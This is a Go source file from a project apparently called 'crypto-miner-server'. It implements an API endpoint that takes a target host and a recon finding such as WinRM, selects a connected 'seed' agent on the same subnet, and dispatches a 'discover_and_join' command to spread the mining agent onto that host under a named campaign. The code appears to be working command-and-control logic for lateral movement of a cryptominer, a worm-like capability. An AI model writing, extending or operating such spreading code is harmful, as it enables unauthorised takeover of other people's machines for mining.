Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
227 lines
6.3 KiB
Go
227 lines
6.3 KiB
Go
package api
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"net/http"
|
|
"strings"
|
|
|
|
dbpkg "crypto-miner-server/internal/db"
|
|
"crypto-miner-server/internal/models"
|
|
"crypto-miner-server/internal/spreadrouter"
|
|
)
|
|
|
|
type spreadToHostRequest struct {
|
|
Host string `json:"host"`
|
|
Finding string `json:"finding"`
|
|
BuildID string `json:"build_id"`
|
|
Campaign string `json:"campaign"`
|
|
JoinLane string `json:"join_lane"`
|
|
}
|
|
|
|
// POST /api/v1/fleet/spread-to-host
|
|
// Body: {"host":"10.1.2.50","finding":"WinRM"} — no agent_id; seeds discover_and_join from best online hop.
|
|
func (f *FleetHandler) PostSpreadToHost(w http.ResponseWriter, r *http.Request) {
|
|
var req spreadToHostRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
req.Host = strings.TrimSpace(req.Host)
|
|
req.Finding = strings.TrimSpace(req.Finding)
|
|
req.BuildID = strings.TrimSpace(req.BuildID)
|
|
req.Campaign = strings.TrimSpace(req.Campaign)
|
|
req.JoinLane = strings.TrimSpace(req.JoinLane)
|
|
if req.Host == "" {
|
|
http.Error(w, "host required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
|
|
matched, lane, ok := resolveReconFinding(req.Finding, NormalizeServiceDeployAllowlist(nil))
|
|
if !ok {
|
|
http.Error(w, "no deploy lane matched finding", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if req.JoinLane != "" {
|
|
lane.Lane = normalizeJoinLane(req.JoinLane)
|
|
}
|
|
|
|
agentID, reachable, found := matchAgentForSpreadFleet(f.ws, f.db, req.Host)
|
|
if found && reachable {
|
|
writeJSON(w, map[string]interface{}{
|
|
"ok": true,
|
|
"host": req.Host,
|
|
"agent_id": agentID,
|
|
"agent_reachable": true,
|
|
"join_lane": lane.Lane,
|
|
"matched_service": matched,
|
|
"queued": false,
|
|
"recommended_command": "discover_and_join",
|
|
"operator_note": "Host already has a connected agent — select it in Crucible and run Probe & Join.",
|
|
"crucible_link": "/crucible?reconHost=" + urlQueryEscape(req.Host) + "&tab=spread",
|
|
})
|
|
return
|
|
}
|
|
|
|
seedID, seedName, seedOK := pickSpreadSeedAgent(f.ws, req.Host, lane.Lane)
|
|
commandArgs := map[string]interface{}{
|
|
"target_host": req.Host,
|
|
"join_lane": lane.Lane,
|
|
"matched_service": matched,
|
|
}
|
|
if req.BuildID != "" {
|
|
commandArgs["build_id"] = req.BuildID
|
|
}
|
|
if req.Campaign != "" {
|
|
commandArgs["campaign"] = req.Campaign
|
|
}
|
|
|
|
queued := false
|
|
var dispatchErr string
|
|
if seedOK && f.ws != nil {
|
|
if err := f.ws.SendAgentCommand(seedID, "discover_and_join", commandArgs); err != nil {
|
|
dispatchErr = err.Error()
|
|
} else {
|
|
queued = true
|
|
}
|
|
}
|
|
|
|
recommended := fmt.Sprintf(
|
|
"Crucible → select seed %s → Probe & Join (discover_and_join) targeting %s via %s lane",
|
|
firstNonEmptySpread(seedName, seedID, "best online agent"),
|
|
req.Host,
|
|
lane.Lane,
|
|
)
|
|
|
|
_ = (&OathLedgerBridge{DB: f.db, Hub: f.ws}).Record(
|
|
AuthUsername(r), dbpkg.OathSpreadDiscoveredHost, seedID, "", dbpkg.OathOutcomeSuccess,
|
|
map[string]string{"host": req.Host, "finding": req.Finding, "join_lane": lane.Lane},
|
|
map[string]string{"host": req.Host, "finding": req.Finding},
|
|
)
|
|
if f.db != nil {
|
|
if row, err := f.db.MarkSubnetDiscoverySpreadAttempted(req.Host); err == nil && row != nil && f.ws != nil {
|
|
f.ws.BroadcastSubnetDiscoveryUpdate(*row)
|
|
}
|
|
}
|
|
|
|
writeJSON(w, map[string]interface{}{
|
|
"ok": true,
|
|
"host": req.Host,
|
|
"finding": req.Finding,
|
|
"join_lane": lane.Lane,
|
|
"matched_service": matched,
|
|
"agent_reachable": false,
|
|
"agent_found": found,
|
|
"seed_agent_id": seedID,
|
|
"seed_agent_name": seedName,
|
|
"queued": queued,
|
|
"dispatch_error": dispatchErr,
|
|
"recommended_command": "discover_and_join",
|
|
"command_args": commandArgs,
|
|
"operator_note": recommended,
|
|
"crucible_link": "/crucible?reconHost=" + urlQueryEscape(req.Host) + "&tab=spread",
|
|
})
|
|
}
|
|
|
|
func matchAgentForSpreadFleet(hub *WSHub, database *dbpkg.Database, host string) (agentID string, reachable bool, found bool) {
|
|
if database == nil {
|
|
return "", false, false
|
|
}
|
|
agents, err := database.ListAgents()
|
|
if err != nil {
|
|
return "", false, false
|
|
}
|
|
host = strings.TrimSpace(strings.ToLower(host))
|
|
var match *models.Agent
|
|
for _, ag := range agents {
|
|
if ag == nil {
|
|
continue
|
|
}
|
|
ip := strings.TrimSpace(strings.ToLower(ag.IP))
|
|
if ip == host || strings.EqualFold(ag.Name, host) || strings.EqualFold(ag.Hostname, host) {
|
|
if match == nil || ag.Status == "online" {
|
|
match = ag
|
|
}
|
|
}
|
|
}
|
|
if match == nil {
|
|
return "", false, false
|
|
}
|
|
reachable = match.Status == "online"
|
|
if hub != nil {
|
|
reachable = hub.isAgentConnected(match.ID)
|
|
}
|
|
return match.ID, reachable, true
|
|
}
|
|
|
|
func pickSpreadSeedAgent(hub *WSHub, targetHost, joinLane string) (agentID, agentName string, ok bool) {
|
|
if hub == nil {
|
|
return "", "", false
|
|
}
|
|
subnet := spreadrouter.SubnetFromIP(targetHost)
|
|
if subnet != "" {
|
|
in := buildSpreadRouterInput(hub, nil, []string{subnet}, joinLane)
|
|
rt := spreadrouter.Build(in)
|
|
if rec, found := rt.Recommend(subnet); found && rec.SeedAgentID != "" && hub.isAgentConnected(rec.SeedAgentID) {
|
|
return rec.SeedAgentID, rec.SeedAgentName, true
|
|
}
|
|
}
|
|
|
|
// Fallback: lowest-latency connected agent on same /24.
|
|
targetSubnet := spreadrouter.NormalizeSubnet(subnet)
|
|
var bestID, bestName string
|
|
bestLatency := int(^uint(0) >> 1)
|
|
hub.mu.RLock()
|
|
for id, conn := range hub.agents {
|
|
if conn == nil || hub.db == nil {
|
|
continue
|
|
}
|
|
ag, err := hub.db.GetAgent(id)
|
|
if err != nil || ag == nil {
|
|
continue
|
|
}
|
|
agSubnet := spreadrouter.SubnetFromIP(ag.IP)
|
|
if targetSubnet != "" && spreadrouter.NormalizeSubnet(agSubnet) != targetSubnet {
|
|
continue
|
|
}
|
|
lat := 9999
|
|
if ag.LatencyMs != nil {
|
|
lat = *ag.LatencyMs
|
|
}
|
|
if lat < bestLatency {
|
|
bestLatency = lat
|
|
bestID = id
|
|
bestName = ag.Name
|
|
}
|
|
}
|
|
hub.mu.RUnlock()
|
|
if bestID != "" {
|
|
return bestID, bestName, true
|
|
}
|
|
|
|
// Last resort: any connected agent.
|
|
hub.mu.RLock()
|
|
for id := range hub.agents {
|
|
if hub.agents[id] != nil {
|
|
bestID = id
|
|
if hub.db != nil {
|
|
if ag, err := hub.db.GetAgent(id); err == nil && ag != nil {
|
|
bestName = ag.Name
|
|
}
|
|
}
|
|
break
|
|
}
|
|
}
|
|
hub.mu.RUnlock()
|
|
return bestID, bestName, bestID != ""
|
|
}
|
|
|
|
func firstNonEmptySpread(parts ...string) string {
|
|
for _, p := range parts {
|
|
if strings.TrimSpace(p) != "" {
|
|
return p
|
|
}
|
|
}
|
|
return ""
|
|
}
|